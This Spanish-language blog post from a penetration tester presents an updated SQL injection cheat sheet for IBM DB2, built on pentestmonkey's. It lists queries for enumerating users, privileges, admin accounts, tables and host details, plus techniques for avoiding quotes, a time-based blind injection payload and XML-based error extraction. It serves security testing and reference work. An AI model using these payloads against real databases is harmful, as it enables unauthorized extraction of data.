Note: There is an English version of this post here.
Estoy seguro de que todos nosotros (pentesters) usamos bastante los cheat sheets sobre inyección SQL de pentestmonkey. Se han convertido en una referencia cuando se trata de realizar inyecciones SQL, y hay que decir que la mayor parte de las veces solucionan el problema. Sin embargo, los cheat sheets de DB2 son de los menos completos de la web. Quizá porque no es un motor de bases de datos muy extendido, además the ser bastante complejo. Tanto en el trabajo anterior como en este he tenido la ¿suerte? de toparme con muchos sistemas ejecutando DB2, de ahí que la información que faltaba fuera un tanto molesta.
A continuación tenéis una tabla con un cheat sheet actualizado para inyecciones SQL en DB2, basado en el de pentestmonkey. Los campos actualizados o modificados o simplemente de nueva creación, están marcados con un asterisco (*). Todas estas consultas han sido probadas en un Win32+DB2 v10.1.0, aunque he tenido la oportunidad de probar algunas en Z/OS+DB2 v9.x and v8.x y la mayoría funcionan bien. Tened en cuenta que no soy un experto en DB2, por lo que si encontráis errores, o información inexacta, o si conocéis otros trucos, sentíos libres de contactarme. Por último, he subido unos dumps de privilegios por defecto, tablas con acceso para PUBLIC y otra información interesante sobre DB2.
Versión* | |
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo | |
select getvariable(‘sysibm.version’) from sysibm.sysdummy1 — (v8+) | |
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo | |
select service_level,bld_level from sysibmadm.env_inst_info | |
Comentarios | select blah from foo — se comenta así (doble guión) |
Usuario Actual | |
select user from sysibm.sysdummy1 | |
select session_user from sysibm.sysdummy1 | |
select system_user from sysibm.sysdummy1 | |
Listar Usuarios* | |
DB2 usa cuentas del SO. Las que tienen acceso a DB2 pueden obtenerse así: | |
select distinct(authid) from sysibmadm.privileges — necesita privilegios | |
select grantee from syscat.dbauth — resultados incompletos | |
select distinct(definer) from syscat.schemata — más exacta | |
select distinct(grantee) from sysibm.systabauth — igual que la anterior | |
Listar Hashes de Contraseñas | N/A (Usuarios del SO) |
Listar Privilegios | |
select * from syscat.tabauth — muestra los privilegios sobre tablas | |
select * from syscat.tabauth where grantee = current user — shows privs for current user | |
Listar cuentas DBA (Admin)* | select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=’Y’ |
Base de datos Actual | select current server from sysibm.sysdummy1 |
Listar Bases de datos* | select distinct(table_catalog) from sysibm.tables |
Listar Columnas* | select name, tbname, coltype from sysibm.syscolumns — also valid syscat and sysstat |
Listar Tablas | |
select table_name from sysibm.tables | |
select name from sysibm.systables | |
Encontrar Tablas a partir de nombre de Columna | select tbname from sysibm.syscolumns where name=’username’ |
Seleccionar la N-esima fila* | select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only |
Seleccionar el N-esimo Caracter | select substr(‘abc’,2,1) FROM sysibm.sysdummy1 — returns b |
Operadores binarios AND/OR/NOT/XOR* | select bitand(1,0) from sysibm.sysdummy1 — devuelve 0. También disponibles bitandnot, bitor, bitxor, bitnot |
Código ASCII -> Char | select chr(65) from sysibm.sysdummy1 — devuelve ‘A’ |
Char -> Código ASCII | select ascii(‘A’) from sysibm.sysdummy1 — devuelve 65 |
Conversión | |
select cast(‘123’ as integer) from sysibm.sysdummy1 | |
select cast(1 as char) from sysibm.sysdummy1 | |
Concatenar Cadenas | |
select ‘a’ concat ‘b’ concat ‘c’ from sysibm.sysdummy1 — devuelve ‘abc’ | |
select ‘a’ || ‘b’ from sysibm.sysdummy1 — devuelve ‘ab’ | |
Sentencia IF* | Parece que sólo se permite en procedimientos almacenados. Utilizar CASE en su lugar. |
Case Statement* | select CASE WHEN (1=1) THEN ‘AAAAAAAAAA’ ELSE ‘BBBBBBBBBB’ END from sysibm.sysdummy1 |
Evitar Comillas* | SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 — devuelve “ADRI”. Funciona sin el select también. |
Time Delay* | |
Consultas pesadas, por ejemplo: | |
‘ and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 — Si el nombre de usuario empieza con el ascii 68 (‘D’), la consulta pesada se ejecutará, retrasando la respuesta. Sin embargo, si el usuario no empieza por el ascii 68, la consulta no se ejecutará y la respuesta será más rápida. | |
Serializar a XML (para extracción por errores)* | |
select xmlagg(xmlrow(table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v9 y v10) | |
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) — Igual pero sin elementos repetidos. (v9 y v10) | |
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v8). Quizá necesite CAST(xml2clob(… AS varchar(500)) para ver el resultado. | |
Hacer Peticiones DNS | N/A |
Ejecución de Comandos | Parece que sólo está permitido desde procedimientos almacenados o funciones de usuario (UDFs). |
Local File Access | Creo que esto sólo está disponible a través de procedimientos almacenados o el comando db2 |
Hostname/IP e Info del OS* | select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info — requiere privilegios |
Localización de los ficheros de la BD* | select * from sysibmadm.reg_variables where reg_var_name=’DB2PATH’ — require privilegios |
Config. del Sistema* | |
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like ‘auto_%’ — Require privilegios. Devuelve todos los parámetros de configuración de la base de datos almacenados en memoria para todas las particiones de la DB. | |
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg — Require privilegios. Devuelve todos los valores de configuración de la base de datos almacenados en disco para todas las particiones de la DB. | |
BBDD por defecto* | Lo que tiene sentido para DB2 es conocer esquemas por defecto (y quizá tablas): SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS |